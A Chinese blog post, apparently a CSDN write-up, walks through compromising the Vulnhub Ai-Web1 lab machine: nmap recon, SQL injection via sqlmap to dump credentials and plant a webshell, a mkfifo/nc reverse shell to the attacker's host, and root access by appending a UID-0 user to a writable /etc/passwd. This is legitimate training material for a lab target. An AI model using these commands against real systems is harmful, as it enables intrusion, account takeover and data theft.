Vuln靶机系列:01Ai-Web1-渗透测试综合利用-对新手非常友好!!!

前言

零基础接触渗透已经快1.5年了,第一次感受到比开发还庞大的知识量,还以为开发是计算机的天花板了,以前学了逢人就说自己学了某某语言,会开发什么什么小工具,当时还以这个天天吹嘘,格格局小了…

进入安全圈后,才发现编程语言仅仅只是一个工具…

不多说了,切入正题。打了这一个靶机后,也把之前的所学的知识改用的都用上了,完完整整的利用一个web应用漏洞getshell,进入内网,提权,获取flag。当然这只是一个小小的渗透过程。对于我来说便足够了,能让我将知识串联起来。不至于以前学了这个漏洞,也仅仅只知道有这个漏洞,而不知道在什么地方利用这么一个尴尬的场景,迫切需要一个简单而又完整的流程进行梳理

准备

参考文章

csdn文章:教你玩转渗透测试靶机vulnhub——Ai-Web1

雨苁黑客工具:反弹shell连接

csdn文章:python交互式shell

博客园文章:ubuntu查询本地已安装的软件

Vulnhub靶机下载

官网地址:https://www.vulnhub.com/entry/ai-web-1,353/

开始

信息收集

拿到一台靶机,开机

但是我们并不知道ip地址(内网VMware DHCP自动分配),这时候我们第一步要做的就是进行内网主机的探测,根据自己实际的内网网段进行探测

kali使用命令,

netdiscover -r 192.168.30.0/24

file

由于其他内网ip地址我都是认识了,直接冲靶机ip就行了,真实场景可不是这样子的,是要每一台主机进行探测,这里为了省事直接忽略…

探测主机开放的端口

nmap -sS -T4 -v -O 192.168.30.128

file

探测到只有一个80端口是开放的,直接访问即可

file

翻译:甚至连谷歌搜索我的内容都没有!

按照以上这句话的意思,应该是使用了robots协议,禁止了爬虫收集

直接查看robots.txt文件

file

但是这两个目录好像都是返回403

file

file

目录遍历一下,这两个目录下到底有些什么东西

file

发现了一个info.php文件,可以获取到网站的绝对路径

file

继续将下面这个目录便利一下,刚开始我是将upload也进行便利但是没发现什么…

所以这里直接退回上一级的,se3reTdir777目录下重新进行遍历

file

发现了一个index.php文件,好像是查询id?

file

Sql注入获取–os-shell

看到这个就来劲了,什么绕过都没有,就是初学者的天下啊,随机来几个语句玩玩

联合查询,order by获取字段的步骤就省略了…

file

报错注入,真就随便注…

file

直接上sqlmap开干,首先使用bp截获数据包,注入点是uid

file

POST //se3reTdir777/index.php HTTP/1.1
Host: 192.168.30.128
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.30.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.30.128//se3reTdir777/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=mooif000h41183lg3q0isrl8c0
Connection: close

uid=abc&Operation=Submit

温馨提示:这里不可以直接指定报错注入方式,不然会导致后面的getshell不成功,就我这个手贱的干了这个事,搞了后面还以为要什么先提权再getshell

方法1:使用-r 指定请求包(本人使用)

方法2:可以不使用请求包,改用–data指定参数即可也行

sqlmap -u [url] --data "uid=abc&Operation=Submit"

获取数据库a1web1,首先的目标就是获取数据库的账密。

sqlmap -r AiWebSql.txt  --batch --dbs

file

获取表

sqlmap -r AiWebSql.txt  --batch -D aiweb1 --tables

file

直接获取系统账户即可,user我看过没什么用…

sqlmap -r AiWebSql.txt  --batch -D aiweb1 -T systemUser --dump

file

这边已经获取到账密了,可能对后面的渗透没什么帮助。但是实际场景中应该是要获取数据库的数据信息的,虽然没什么用。但是有可能某些网页后台存在有管理系统,我们可以通过账密登入,获取更多的渗透空间。

使用sqlmap获取shell,–os-shell,这里需要几个条件

  1. 拥有数据库的写入权限
  2. 知道网站根目录的绝对路径(通过phpinfo,或者其他方式)
  3. 数据库关闭GPC模式

目前我还不是很了解上面3种情况的使用场景,后续等用到了再说吧?

这一次我没什么障碍(手贱设置了报错注入方式),直接获取到shell了

获取网站的绝对路径,这个应该是必须的

file

getshell

sqlmap -r AiWebSql.txt  --os-shell

默认php,接着下面选择2指定网站的绝对路径(可上传文件的路径)

file

如果不幸指定了报错注入的方式,只能先删除缓存再进行下一步操作,以后有发现注入不进去的,也可以尝试一下此步骤

方法1:直接删缓存文件

rm -rf /root/.local/share/sqlmap/output/192.168.30.128

file

方法2:临时刷新缓存记录,不使用缓存文件

重要:sqlmap刷新缓存记录,有可能因为缓存导致其他地方注入不成功

sqlmap -r AiWebSql.txt  --os-shell --dbms=mysql --batch --flush-session                  

文件上传shell

这里也有两种方式上传

方法1:通过–os-shell自动上传的文件上传php
这种方式就不用多解释了吧

file

访问文件上传路径

file

方法2:通过sqlmap写入指定的webshell(使用这种)

现在需要写一句话木马 通过sqlmap传入服务器的路径下 先新建一个名称shell.php,冰蝎马

file

sqlmap -r AiWebSql.txt  --file-write ./shell.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php --batch
--file-write:去读取文件(hack.php)
--file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)

上传成功

file

使用冰蝎连接

file

反弹shell

使用在线反弹shell神器生成payload:https://www.ddosi.org/shell/

我用的时候有些payload是不行的,尝试更换一下payload,或者编码?可能是目标系统的问题?

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.30.102 7777 >/tmp/f

冰蝎执行反弹shell命令

file

本地接收一下就ok了,但是反弹回来的shell,或多或少都会存在问题,比如当我想使用top命令时就会提示没有 tty。简单的来说就是没有上下文环境,这样的话,vimsudo等操作都做不了,有时候还需要其他工具,很麻烦。

查看内核版本为Ubuntu系统

uname -a
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

检查python环境,Ubuntu查看本地软件的命令(不会,所以就记录下来了)

dpkg -l | grep python
dpkg --get-selections | grep python
whereis ftp

但是如果发现对方机器上有 python 的话,我们可以:升级成交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权-创建uid为0的hacker账户

查看用户权限,结果是网站的普通权限…

$ whoami
www-data

尝试使用系统漏洞可以查看这篇文章,但是可能不适用于这个靶机。提权那部分

教你玩转渗透测试靶机vulnhub——Ai-Web1

这里就直奔主题了

查看/etc/passwd权限,其实一开始我并没有查看这个权限的,只是无意中看到…

ls -l /etc/passwd
-rw-r--r-- 1 www-data www-data 1664 Aug 21  2019 /etc/passwd

一般来说,/etc/passwd文件的所属主和所属组是为root账户的,应该是这个靶机的提权方式之一吧

创建hacker用户,这里是不能直接使用useradd命令,我们直接在/etc/passwd添加即可

生成加密密码

openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/

添加hacker用户到/etc/passwd中

echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd

获取flag

到了最关键的一步了,切换到高权限账户hacker,这里需要python交互shell,或许还有更好的交互shell方式?不然反弹shell是无法切换用户。

su - hacker
Passwd: 123456

查看root目录下有什么文件

出现了flag.txt

file

结束完美!

总结

  1. 首次使用sqlmap对web系统注入shell文件(之前一直以为只是获取账密)
  2. 对目录扫描更深一步的理解,之前很少会有目录扫描,压根不想扫
  3. 最关键一步就是–os-shell不能使用报错注入方式注入
  4. 首次完整提权过程,之前没有接触过提权,也仅仅是了解没有实战
  5. 对新手非常友好,是一个值得巩固知识体系的靶场。
  6. /etc/passwd的用户添加格式可能需要记录一下
  7. 用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值